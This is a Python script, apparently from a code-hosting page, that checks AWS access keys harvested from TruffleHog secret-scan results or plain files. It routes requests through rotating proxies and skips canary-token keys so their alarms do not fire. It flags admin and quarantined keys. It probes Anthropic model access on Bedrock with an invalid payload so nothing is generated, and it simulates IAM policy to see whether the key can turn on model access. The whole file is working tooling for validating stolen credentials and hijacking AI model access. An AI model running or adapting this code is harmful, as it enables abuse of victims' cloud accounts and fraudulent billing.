sashatrask
608 lines
26 KiB
Python
608 lines
26 KiB
Python
import sys
|
|
|
|
sys.dont_write_bytecode = True
|
|
|
|
import argparse
|
|
import os
|
|
|
|
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
|
|
|
from keycheck_common import (
|
|
append_jsonl,
|
|
commit_status_transaction,
|
|
default_input_file,
|
|
default_proxy_file,
|
|
ensure_output_files,
|
|
iter_findings,
|
|
load_checked_statuses,
|
|
load_known_keys,
|
|
load_known_statuses,
|
|
load_proxies,
|
|
mask_secret,
|
|
read_plain_keys,
|
|
recover_status_transaction,
|
|
record_cached_keycheck_occurrence,
|
|
record_validation_result,
|
|
require_provider_authority,
|
|
service_output_dir,
|
|
should_skip_key,
|
|
write_keycheck_event,
|
|
)
|
|
|
|
|
|
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
|
|
PARENT_DIR = os.path.dirname(SCRIPT_DIR)
|
|
SERVICE = "aws"
|
|
OUTPUT_DIR = os.getenv("KEYCHECK_OUTPUT_DIR") or service_output_dir(SERVICE)
|
|
|
|
INPUT_FILE = os.getenv("KEYCHECK_INPUT_FILE") or default_input_file()
|
|
PROXY_FILE = os.getenv("KEYCHECK_PROXY_FILE") or default_proxy_file()
|
|
CHECKED_FILE = os.path.join(OUTPUT_DIR, "awsChecked.txt")
|
|
RESULTS_FILE = os.path.join(OUTPUT_DIR, "awsResults.jsonl")
|
|
|
|
STATUS_FILES = {
|
|
"VALID": os.path.join(OUTPUT_DIR, "awsAlive.txt"),
|
|
"BEDROCK": os.path.join(OUTPUT_DIR, "awsBedrock.txt"),
|
|
"ADMIN": os.path.join(OUTPUT_DIR, "awsAdmin.txt"),
|
|
"CANARY": os.path.join(OUTPUT_DIR, "awsCanary.txt"),
|
|
"QUARANTINED": os.path.join(OUTPUT_DIR, "awsQuarantined.txt"),
|
|
"ACCESS_DENIED": os.path.join(OUTPUT_DIR, "awsAccessDenied.txt"),
|
|
"DEAD": os.path.join(OUTPUT_DIR, "awsDead.txt"),
|
|
"NETWORK": os.path.join(OUTPUT_DIR, "awsNetwork.txt"),
|
|
"UNKNOWN": os.path.join(OUTPUT_DIR, "awsUnknown.txt"),
|
|
}
|
|
|
|
BEDROCK_REGIONS = ["us-east-1", "us-west-2", "eu-west-1", "eu-north-1", "ap-northeast-1", "ap-southeast-4"]
|
|
ANTHROPIC_MESSAGES_PROBE = {
|
|
"anthropic_version": "bedrock-2023-05-31",
|
|
"messages": [{"role": "user", "content": "ping"}],
|
|
"max_tokens": -1,
|
|
}
|
|
ANTHROPIC_MESSAGES_LIVE_PING = {
|
|
"anthropic_version": "bedrock-2023-05-31",
|
|
"messages": [{"role": "user", "content": "ping"}],
|
|
"max_tokens": 1,
|
|
}
|
|
BEDROCK_MODEL_TESTS = {
|
|
# Current Anthropic Bedrock runtime IDs. The default probe intentionally uses
|
|
# invalid max_tokens to validate auth/model access without generating tokens.
|
|
"anthropic.claude-fable-5": ANTHROPIC_MESSAGES_PROBE,
|
|
"us.anthropic.claude-fable-5": ANTHROPIC_MESSAGES_PROBE,
|
|
"global.anthropic.claude-fable-5": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-sonnet-5": ANTHROPIC_MESSAGES_PROBE,
|
|
"us.anthropic.claude-sonnet-5": ANTHROPIC_MESSAGES_PROBE,
|
|
"global.anthropic.claude-sonnet-5": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-opus-4-8": ANTHROPIC_MESSAGES_PROBE,
|
|
"us.anthropic.claude-opus-4-8": ANTHROPIC_MESSAGES_PROBE,
|
|
"global.anthropic.claude-opus-4-8": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-opus-4-7": ANTHROPIC_MESSAGES_PROBE,
|
|
"us.anthropic.claude-opus-4-7": ANTHROPIC_MESSAGES_PROBE,
|
|
"global.anthropic.claude-opus-4-7": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-sonnet-4-6": ANTHROPIC_MESSAGES_PROBE,
|
|
"us.anthropic.claude-sonnet-4-6": ANTHROPIC_MESSAGES_PROBE,
|
|
"global.anthropic.claude-sonnet-4-6": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-haiku-4-5-20251001-v1:0": ANTHROPIC_MESSAGES_PROBE,
|
|
"us.anthropic.claude-haiku-4-5-20251001-v1:0": ANTHROPIC_MESSAGES_PROBE,
|
|
"global.anthropic.claude-haiku-4-5-20251001-v1:0": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-3-5-sonnet-20241022-v2:0": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-3-5-haiku-20241022-v1:0": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-3-haiku-20240307-v1:0": ANTHROPIC_MESSAGES_PROBE,
|
|
"anthropic.claude-v2": {"prompt": "\n\nHuman:\n\nAssistant:", "max_tokens_to_sample": -1},
|
|
"anthropic.claude-instant-v1": {"prompt": "\n\nHuman:\n\nAssistant:", "max_tokens_to_sample": -1},
|
|
}
|
|
|
|
|
|
def ensure_files():
|
|
ensure_output_files([CHECKED_FILE, RESULTS_FILE, *STATUS_FILES.values()])
|
|
recover_status_transaction(CHECKED_FILE, STATUS_FILES)
|
|
|
|
|
|
def extract_candidates(input_file, plain_files):
|
|
seen_plain = set()
|
|
for item in iter_findings(input_file, ["AWS"]):
|
|
key = item["raw_v2"] or item["raw"]
|
|
if key and ":" in key:
|
|
yield key, item["source"], item["finding"]
|
|
import re
|
|
regex = re.compile(r"AKIA[0-9A-Z]{16}:[A-Za-z0-9+/]{40}")
|
|
for item in read_plain_keys(plain_files, regex):
|
|
key = item["key"]
|
|
if key not in seen_plain:
|
|
seen_plain.add(key)
|
|
yield key, item["source"], {}
|
|
|
|
|
|
def is_dead_aws_error(code):
|
|
return code in {"InvalidClientTokenId", "SignatureDoesNotMatch", "AuthFailure", "UnrecognizedClientException"}
|
|
|
|
|
|
def is_canary_text(value):
|
|
value = str(value or "").lower()
|
|
return "canarytokens" in value or "canary token" in value or "is_canary" in value
|
|
|
|
|
|
def is_canary_finding(finding):
|
|
if not isinstance(finding, dict):
|
|
return False
|
|
extra = finding.get("ExtraData") or {}
|
|
if isinstance(extra, dict):
|
|
if str(extra.get("is_canary", "")).lower() == "true":
|
|
return True
|
|
if any(is_canary_text(value) for value in extra.values()):
|
|
return True
|
|
return is_canary_text(finding.get("Raw")) or is_canary_text(finding.get("RawV2"))
|
|
|
|
|
|
def is_canary_arn(arn):
|
|
return is_canary_text(arn)
|
|
|
|
|
|
def aws_client(session, service, proxy=None, region_name=None, timeout=20):
|
|
kwargs = {}
|
|
if region_name:
|
|
kwargs["region_name"] = region_name
|
|
from botocore.config import Config
|
|
kwargs["config"] = Config(
|
|
proxies=proxy or None,
|
|
connect_timeout=timeout,
|
|
read_timeout=timeout,
|
|
retries={"max_attempts": 1},
|
|
)
|
|
return session.client(service, **kwargs)
|
|
|
|
|
|
def bedrock_validation_allows_invoke(exc):
|
|
text = str(exc or "").lower()
|
|
if any(item in text for item in ("operation not allowed", "not authorized", "access denied")):
|
|
return False
|
|
# The default probe sends deliberately invalid token limits. If Bedrock only
|
|
# rejects the payload shape after auth, InvokeModel reached the model path.
|
|
return any(item in text for item in ("max_tokens", "max_tokens_to_sample", "malformed input", "schema"))
|
|
|
|
|
|
def client_error_code(exc):
|
|
try:
|
|
return exc.response.get("Error", {}).get("Code", "ClientError")
|
|
except Exception:
|
|
return "ClientError"
|
|
|
|
|
|
def client_error_message(exc):
|
|
try:
|
|
return exc.response.get("Error", {}).get("Message", str(exc))
|
|
except Exception:
|
|
return str(exc)
|
|
|
|
|
|
def model_arn(region, model_id):
|
|
# Cross-region inference profile IDs are not foundation-model ARNs.
|
|
if model_id.startswith(("us.", "eu.", "jp.", "au.", "global.")):
|
|
return "*"
|
|
return f"arn:aws:bedrock:{region}::foundation-model/{model_id}"
|
|
|
|
|
|
def iam_policy_source_arn(sts_arn, account):
|
|
arn = str(sts_arn or "")
|
|
if ":assumed-role/" in arn:
|
|
role_part = arn.split(":assumed-role/", 1)[1].split("/", 1)[0]
|
|
return f"arn:aws:iam::{account}:role/{role_part}"
|
|
return arn if ":iam::" in arn else ""
|
|
|
|
|
|
def simulate_bedrock_activation(session, arn, account, region, model_id, proxy=None, timeout=20):
|
|
import botocore.exceptions
|
|
|
|
source_arn = iam_policy_source_arn(arn, account)
|
|
if not source_arn:
|
|
return {"status": "not_available", "message": "unsupported principal arn for IAM simulation"}
|
|
actions = [
|
|
"bedrock:GetFoundationModelAvailability",
|
|
"bedrock:ListFoundationModelAgreementOffers",
|
|
"bedrock:GetUseCaseForModelAccess",
|
|
"bedrock:PutUseCaseForModelAccess",
|
|
"bedrock:CreateFoundationModelAgreement",
|
|
"bedrock:GetInferenceProfile",
|
|
"bedrock:InvokeModel",
|
|
]
|
|
try:
|
|
iam = aws_client(session, "iam", proxy, timeout=timeout)
|
|
response = iam.simulate_principal_policy(
|
|
PolicySourceArn=source_arn,
|
|
ActionNames=actions,
|
|
ResourceArns=[model_arn(region, model_id)],
|
|
)
|
|
except botocore.exceptions.ClientError as exc:
|
|
return {
|
|
"status": "access_denied" if client_error_code(exc) == "AccessDenied" else "error",
|
|
"code": client_error_code(exc),
|
|
"message": client_error_message(exc)[:500],
|
|
}
|
|
decisions = {}
|
|
for item in response.get("EvaluationResults", []):
|
|
action = str(item.get("EvalActionName") or "")
|
|
decisions[action] = str(item.get("EvalDecision") or "")
|
|
activation_actions = ["bedrock:PutUseCaseForModelAccess", "bedrock:CreateFoundationModelAgreement"]
|
|
can_activate = all(decisions.get(action) == "allowed" for action in activation_actions)
|
|
return {"status": "ok", "source_arn": source_arn, "can_activate": can_activate, "decisions": decisions}
|
|
|
|
|
|
def check_bedrock_management(session, arn, account, proxy=None, timeout=20, regions=None, models=None, max_attempts=12, debug=False):
|
|
import botocore.exceptions
|
|
|
|
attempts = []
|
|
findings = []
|
|
tried = 0
|
|
for region in (regions or BEDROCK_REGIONS):
|
|
bedrock = aws_client(session, "bedrock", proxy, region, timeout)
|
|
use_case = None
|
|
try:
|
|
use_case = bedrock.get_use_case_for_model_access()
|
|
except botocore.exceptions.ClientError as exc:
|
|
use_case = {"error_code": client_error_code(exc), "message": client_error_message(exc)[:300]}
|
|
try:
|
|
profiles = bedrock.list_inference_profiles(typeEquals="SYSTEM_DEFINED", maxResults=20).get("inferenceProfileSummaries", [])
|
|
except botocore.exceptions.ClientError as exc:
|
|
profiles = {"error_code": client_error_code(exc), "message": client_error_message(exc)[:300]}
|
|
for model_id in (models or list(BEDROCK_MODEL_TESTS.keys())):
|
|
if max_attempts and tried >= max_attempts:
|
|
return {"enabled": bool(findings), "findings": findings, "message": "; ".join(attempts[:10])}
|
|
tried += 1
|
|
if debug:
|
|
print(f" BEDROCK MGMT TRY: region={region}, model={model_id}")
|
|
item = {"region": region, "model": model_id, "use_case": use_case, "profiles": profiles}
|
|
try:
|
|
item["foundation_model"] = bedrock.get_foundation_model(modelIdentifier=model_id).get("modelDetails", {})
|
|
except botocore.exceptions.ClientError as exc:
|
|
item["foundation_model_error"] = {"code": client_error_code(exc), "message": client_error_message(exc)[:300]}
|
|
try:
|
|
item["availability"] = bedrock.get_foundation_model_availability(modelId=model_id)
|
|
except botocore.exceptions.ClientError as exc:
|
|
item["availability_error"] = {"code": client_error_code(exc), "message": client_error_message(exc)[:300]}
|
|
try:
|
|
item["agreement_offers"] = bedrock.list_foundation_model_agreement_offers(modelId=model_id, offerType="ALL")
|
|
except botocore.exceptions.ClientError as exc:
|
|
item["agreement_offers_error"] = {"code": client_error_code(exc), "message": client_error_message(exc)[:300]}
|
|
item["iam_simulation"] = simulate_bedrock_activation(session, arn, account, region, model_id, proxy, timeout)
|
|
availability = item.get("availability") or {}
|
|
simulation = item.get("iam_simulation") or {}
|
|
can_activate = bool(simulation.get("can_activate"))
|
|
authorized = str(availability.get("authorizationStatus") or "").lower() in ("authorized", "available")
|
|
if can_activate or authorized:
|
|
findings.append(item)
|
|
else:
|
|
code = (item.get("availability_error") or item.get("foundation_model_error") or {}).get("code") or "checked"
|
|
attempts.append(f"{region}:{model_id}:can_activate={can_activate}:authorization={availability.get('authorizationStatus') or code}")
|
|
return {"enabled": bool(findings), "findings": findings, "message": "; ".join(attempts[:10])}
|
|
|
|
|
|
def check_bedrock(session, proxy=None, timeout=20, debug=False, regions=None, models=None, max_attempts=12, live_invoke=False):
|
|
import json
|
|
import botocore.exceptions
|
|
|
|
attempts = []
|
|
accepted = []
|
|
tried = 0
|
|
model_ids = models or list(BEDROCK_MODEL_TESTS.keys())
|
|
for region in (regions or BEDROCK_REGIONS):
|
|
for model_id in model_ids:
|
|
if max_attempts and tried >= max_attempts:
|
|
if accepted:
|
|
first = accepted[0]
|
|
return {
|
|
"enabled": True,
|
|
"region": first.get("region", ""),
|
|
"model": first.get("model", ""),
|
|
"available_models": [f"{item['region']}/{item['model']}" for item in accepted],
|
|
"message": "Bedrock InvokeModel accepted",
|
|
}
|
|
return {"enabled": False, "region": "", "model": "", "available_models": [], "message": "; ".join(attempts[:10]) or "Bedrock probe attempt limit reached"}
|
|
tried += 1
|
|
data = BEDROCK_MODEL_TESTS.get(model_id)
|
|
if data is None:
|
|
data = ANTHROPIC_MESSAGES_PROBE
|
|
if live_invoke and data is ANTHROPIC_MESSAGES_PROBE:
|
|
data = ANTHROPIC_MESSAGES_LIVE_PING
|
|
client = aws_client(session, "bedrock-runtime", proxy, region, timeout)
|
|
if debug:
|
|
print(f" BEDROCK TRY: region={region}, model={model_id}")
|
|
try:
|
|
client.invoke_model(body=json.dumps(data), modelId=model_id)
|
|
if debug:
|
|
print(" BEDROCK RESULT: invoke_model succeeded")
|
|
accepted.append({"region": region, "model": model_id, "message": "invoke_model succeeded"})
|
|
continue
|
|
except client.exceptions.ValidationException as exc:
|
|
message = str(exc)
|
|
if bedrock_validation_allows_invoke(exc):
|
|
# ValidationException for the intentional bad payload means auth/model access passed.
|
|
if debug:
|
|
print(f" BEDROCK RESULT: validation_exception_after_auth: {message[:200]}")
|
|
accepted.append({"region": region, "model": model_id, "message": message[:300]})
|
|
else:
|
|
if debug:
|
|
print(f" BEDROCK RESULT: validation_rejected: {message[:200]}")
|
|
attempts.append(f"{region}:{model_id}:validation:{message[:120]}")
|
|
continue
|
|
except client.exceptions.AccessDeniedException:
|
|
if debug:
|
|
print(" BEDROCK RESULT: access_denied")
|
|
attempts.append(f"{region}:{model_id}:access_denied")
|
|
continue
|
|
except client.exceptions.ResourceNotFoundException:
|
|
if debug:
|
|
print(" BEDROCK RESULT: model_not_found")
|
|
attempts.append(f"{region}:{model_id}:not_found")
|
|
continue
|
|
except botocore.exceptions.EndpointConnectionError as exc:
|
|
if debug:
|
|
print(f" BEDROCK RESULT: network_error: {str(exc)[:120]}")
|
|
attempts.append(f"{region}:{model_id}:network:{str(exc)[:80]}")
|
|
continue
|
|
except botocore.exceptions.ClientError as exc:
|
|
code = exc.response.get("Error", {}).get("Code", "ClientError")
|
|
if debug:
|
|
print(f" BEDROCK RESULT: {code}: {str(exc)[:160]}")
|
|
attempts.append(f"{region}:{model_id}:{code}")
|
|
continue
|
|
if accepted:
|
|
first = accepted[0]
|
|
return {
|
|
"enabled": True,
|
|
"region": first.get("region", ""),
|
|
"model": first.get("model", ""),
|
|
"available_models": [f"{item['region']}/{item['model']}" for item in accepted],
|
|
"message": "Bedrock InvokeModel accepted",
|
|
}
|
|
return {"enabled": False, "region": "", "model": "", "available_models": [], "message": "; ".join(attempts[:10])}
|
|
|
|
|
|
def inspect_iam(session, arn, proxy=None, timeout=20):
|
|
import botocore.exceptions
|
|
|
|
output = {"admin": False, "quarantined": False, "policy_check": "not_checked", "message": ""}
|
|
if ":user/" not in arn:
|
|
output["policy_check"] = "not_user_arn"
|
|
return output
|
|
username = arn.rsplit("/", 1)[1]
|
|
try:
|
|
iam = aws_client(session, "iam", proxy, timeout=timeout)
|
|
policies = iam.list_attached_user_policies(UserName=username).get("AttachedPolicies", [])
|
|
except botocore.exceptions.ClientError as exc:
|
|
code = exc.response.get("Error", {}).get("Code", "")
|
|
output["policy_check"] = "access_denied" if code == "AccessDenied" else "error"
|
|
output["message"] = str(exc)
|
|
return output
|
|
output["policy_check"] = "ok"
|
|
for policy in policies:
|
|
name = policy.get("PolicyName", "")
|
|
if "AWSCompromisedKeyQuarantine" in name:
|
|
output["quarantined"] = True
|
|
if name == "AdministratorAccess":
|
|
output["admin"] = True
|
|
return output
|
|
|
|
|
|
def check_key(
|
|
key,
|
|
probe_bedrock=False,
|
|
bedrock_debug=False,
|
|
proxy=None,
|
|
timeout=20,
|
|
bedrock_regions=None,
|
|
bedrock_models=None,
|
|
bedrock_max_attempts=12,
|
|
bedrock_live_invoke=False,
|
|
probe_bedrock_management=False,
|
|
):
|
|
try:
|
|
import boto3
|
|
import botocore.exceptions
|
|
except ImportError as exc:
|
|
return {"status": "UNKNOWN", "message": f"boto3/botocore missing: {exc}"}
|
|
|
|
access_key, secret = key.split(":", 1)
|
|
session = boto3.Session(aws_access_key_id=access_key, aws_secret_access_key=secret)
|
|
try:
|
|
identity = aws_client(session, "sts", proxy, timeout=timeout).get_caller_identity()
|
|
except botocore.exceptions.EndpointConnectionError as exc:
|
|
return {"status": "NETWORK", "message": str(exc)}
|
|
except botocore.exceptions.ClientError as exc:
|
|
code = exc.response.get("Error", {}).get("Code", "")
|
|
status = "DEAD" if is_dead_aws_error(code) else "ACCESS_DENIED"
|
|
return {"status": status, "code": code, "message": str(exc)}
|
|
except Exception as exc:
|
|
return {"status": "UNKNOWN", "message": str(exc)}
|
|
|
|
arn = identity.get("Arn", "")
|
|
if is_canary_arn(arn):
|
|
return {
|
|
"status": "CANARY",
|
|
"account": identity.get("Account", ""),
|
|
"arn": arn,
|
|
"admin": False,
|
|
"quarantined": False,
|
|
"iam_policy_check": "skipped_canary",
|
|
"bedrock_enabled": False,
|
|
"bedrock_region": "",
|
|
"bedrock_model": "",
|
|
"bedrock_message": "skipped_canary",
|
|
"bedrock_management_enabled": False,
|
|
"bedrock_management_message": "skipped_canary",
|
|
"message": "canary credential detected from STS arn; skipped IAM/Bedrock probes",
|
|
}
|
|
|
|
iam_info = inspect_iam(session, arn, proxy, timeout)
|
|
bedrock_info = {"enabled": False, "region": "", "model": "", "message": "not_checked"}
|
|
bedrock_management_info = {"enabled": False, "findings": [], "message": "not_checked"}
|
|
if probe_bedrock:
|
|
bedrock_info = check_bedrock(session, proxy, timeout, bedrock_debug, bedrock_regions, bedrock_models, bedrock_max_attempts, bedrock_live_invoke)
|
|
if probe_bedrock_management:
|
|
bedrock_management_info = check_bedrock_management(
|
|
session,
|
|
arn,
|
|
identity.get("Account", ""),
|
|
proxy,
|
|
timeout,
|
|
bedrock_regions,
|
|
bedrock_models,
|
|
bedrock_max_attempts,
|
|
bedrock_debug,
|
|
)
|
|
|
|
if iam_info.get("quarantined"):
|
|
status = "QUARANTINED"
|
|
elif bedrock_info.get("enabled"):
|
|
status = "BEDROCK"
|
|
else:
|
|
status = "ADMIN" if iam_info.get("admin") else "VALID"
|
|
|
|
message_parts = [
|
|
"sts_ok",
|
|
f"iam_policy_check={iam_info.get('policy_check')}",
|
|
]
|
|
if probe_bedrock:
|
|
message_parts.append(f"bedrock_enabled={bedrock_info.get('enabled')}")
|
|
if bedrock_info.get("region"):
|
|
message_parts.append(f"bedrock_region={bedrock_info.get('region')}")
|
|
if bedrock_info.get("model"):
|
|
message_parts.append(f"bedrock_model={bedrock_info.get('model')}")
|
|
if probe_bedrock_management:
|
|
findings = bedrock_management_info.get("findings") or []
|
|
can_activate = any((item.get("iam_simulation") or {}).get("can_activate") for item in findings)
|
|
message_parts.append(f"bedrock_mgmt_enabled={bedrock_management_info.get('enabled')}")
|
|
message_parts.append(f"bedrock_can_activate={can_activate}")
|
|
if iam_info.get("message") and iam_info.get("policy_check") != "access_denied":
|
|
message_parts.append(iam_info.get("message")[:300])
|
|
|
|
return {
|
|
"status": status,
|
|
"account": identity.get("Account", ""),
|
|
"arn": arn,
|
|
"admin": iam_info.get("admin", False),
|
|
"quarantined": iam_info.get("quarantined", False),
|
|
"iam_policy_check": iam_info.get("policy_check"),
|
|
"bedrock_enabled": bedrock_info.get("enabled"),
|
|
"bedrock_region": bedrock_info.get("region"),
|
|
"bedrock_model": bedrock_info.get("model"),
|
|
"bedrock_available_models": bedrock_info.get("available_models") or [],
|
|
"bedrock_message": bedrock_info.get("message"),
|
|
"bedrock_management_enabled": bedrock_management_info.get("enabled"),
|
|
"bedrock_management_findings": bedrock_management_info.get("findings") or [],
|
|
"bedrock_management_message": bedrock_management_info.get("message"),
|
|
"message": "; ".join(message_parts),
|
|
}
|
|
|
|
|
|
def write_result(key, result, source, finding):
|
|
write_keycheck_event(SERVICE, RESULTS_FILE, key, result, source, finding, "AWS")
|
|
message = result.get("message", "")
|
|
if result.get("status") == "BEDROCK":
|
|
models = result.get("bedrock_available_models") or []
|
|
model_text = ",".join(str(item) for item in models) or f"{result.get('bedrock_region', '')}/{result.get('bedrock_model', '')}".strip("/")
|
|
message = f"{message}; models={model_text}"
|
|
commit_status_transaction(
|
|
CHECKED_FILE, STATUS_FILES, key, result["status"], message, result.get("arn", source),
|
|
)
|
|
record_validation_result(SERVICE, key, result, source, finding, "AWS")
|
|
|
|
|
|
def parse_args():
|
|
parser = argparse.ArgumentParser(description="AWS key checker")
|
|
parser.add_argument("--input", default=INPUT_FILE)
|
|
parser.add_argument("--proxy-file", default=PROXY_FILE)
|
|
parser.add_argument("--plain", action="append", default=[])
|
|
parser.add_argument("--timeout", type=int, default=20)
|
|
parser.add_argument("--max-keys", type=int, default=0)
|
|
parser.add_argument("--probe-bedrock", action="store_true")
|
|
parser.add_argument("--bedrock-debug", action="store_true")
|
|
parser.add_argument("--bedrock-regions", default=",".join(BEDROCK_REGIONS))
|
|
parser.add_argument("--bedrock-models", default=",".join(BEDROCK_MODEL_TESTS))
|
|
parser.add_argument("--bedrock-max-attempts", type=int, default=12)
|
|
parser.add_argument("--bedrock-live-invoke", action="store_true")
|
|
parser.add_argument("--probe-bedrock-management", action="store_true")
|
|
parser.add_argument("--retry-network", action="store_true")
|
|
parser.add_argument("--retry-unknown", action="store_true")
|
|
parser.add_argument("--retry-valid", action="store_true")
|
|
parser.add_argument("--recheck-all", action="store_true")
|
|
return parser.parse_args()
|
|
|
|
|
|
def main():
|
|
require_provider_authority(SERVICE)
|
|
args = parse_args()
|
|
ensure_files()
|
|
proxy_cycler = load_proxies(args.proxy_file)
|
|
checked = load_checked_statuses(CHECKED_FILE)
|
|
known_statuses = load_known_statuses(CHECKED_FILE, STATUS_FILES)
|
|
known = set(known_statuses)
|
|
retry_statuses = set()
|
|
if args.retry_network:
|
|
retry_statuses.add("NETWORK")
|
|
if args.retry_unknown:
|
|
retry_statuses.add("UNKNOWN")
|
|
if args.retry_valid:
|
|
retry_statuses.update({"VALID", "BEDROCK", "ADMIN"})
|
|
processed = 0
|
|
skipped = 0
|
|
bedrock_regions = [item.strip() for item in str(args.bedrock_regions or "").split(",") if item.strip()]
|
|
bedrock_models = [item.strip() for item in str(args.bedrock_models or "").split(",") if item.strip()]
|
|
for key, source, finding in extract_candidates(args.input, args.plain):
|
|
if should_skip_key(
|
|
key, checked, known, args, retry_statuses,
|
|
service=SERVICE, source=source, finding=finding, detector="AWS", known_statuses=known_statuses,
|
|
):
|
|
skipped += 1
|
|
continue
|
|
if args.max_keys and processed >= args.max_keys:
|
|
break
|
|
processed += 1
|
|
print(f"\n[{processed}] AWS candidate {mask_secret(key)} from {source}")
|
|
if is_canary_finding(finding):
|
|
result = {
|
|
"status": "CANARY",
|
|
"message": "canary credential detected in TruffleHog ExtraData; skipped AWS API probes",
|
|
}
|
|
else:
|
|
proxy = next(proxy_cycler) if proxy_cycler else None
|
|
result = check_key(
|
|
key,
|
|
args.probe_bedrock,
|
|
args.bedrock_debug,
|
|
proxy,
|
|
args.timeout,
|
|
bedrock_regions,
|
|
bedrock_models,
|
|
args.bedrock_max_attempts,
|
|
args.bedrock_live_invoke,
|
|
args.probe_bedrock_management,
|
|
)
|
|
print(f" STATUS: {result['status']} | {result.get('message', '')[:200]}")
|
|
if args.probe_bedrock:
|
|
print(
|
|
" BEDROCK PING: "
|
|
f"enabled={result.get('bedrock_enabled')}, "
|
|
f"region={result.get('bedrock_region') or '-'}, "
|
|
f"model={result.get('bedrock_model') or '-'}"
|
|
)
|
|
if result.get('bedrock_message'):
|
|
print(f" BEDROCK RESPONSE: {str(result.get('bedrock_message'))[:300]}")
|
|
if args.probe_bedrock_management:
|
|
findings = result.get("bedrock_management_findings") or []
|
|
can_activate = any((item.get("iam_simulation") or {}).get("can_activate") for item in findings)
|
|
print(
|
|
" BEDROCK MGMT: "
|
|
f"enabled={result.get('bedrock_management_enabled')}, "
|
|
f"can_activate={can_activate}, "
|
|
f"findings={len(findings)}"
|
|
)
|
|
if result.get("bedrock_management_message"):
|
|
print(f" BEDROCK MGMT RESPONSE: {str(result.get('bedrock_management_message'))[:300]}")
|
|
write_result(key, result, source, finding)
|
|
known.add(key)
|
|
checked[key] = result["status"]
|
|
print(f"\nDone. Processed={processed}, skipped={skipped}, results={RESULTS_FILE}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|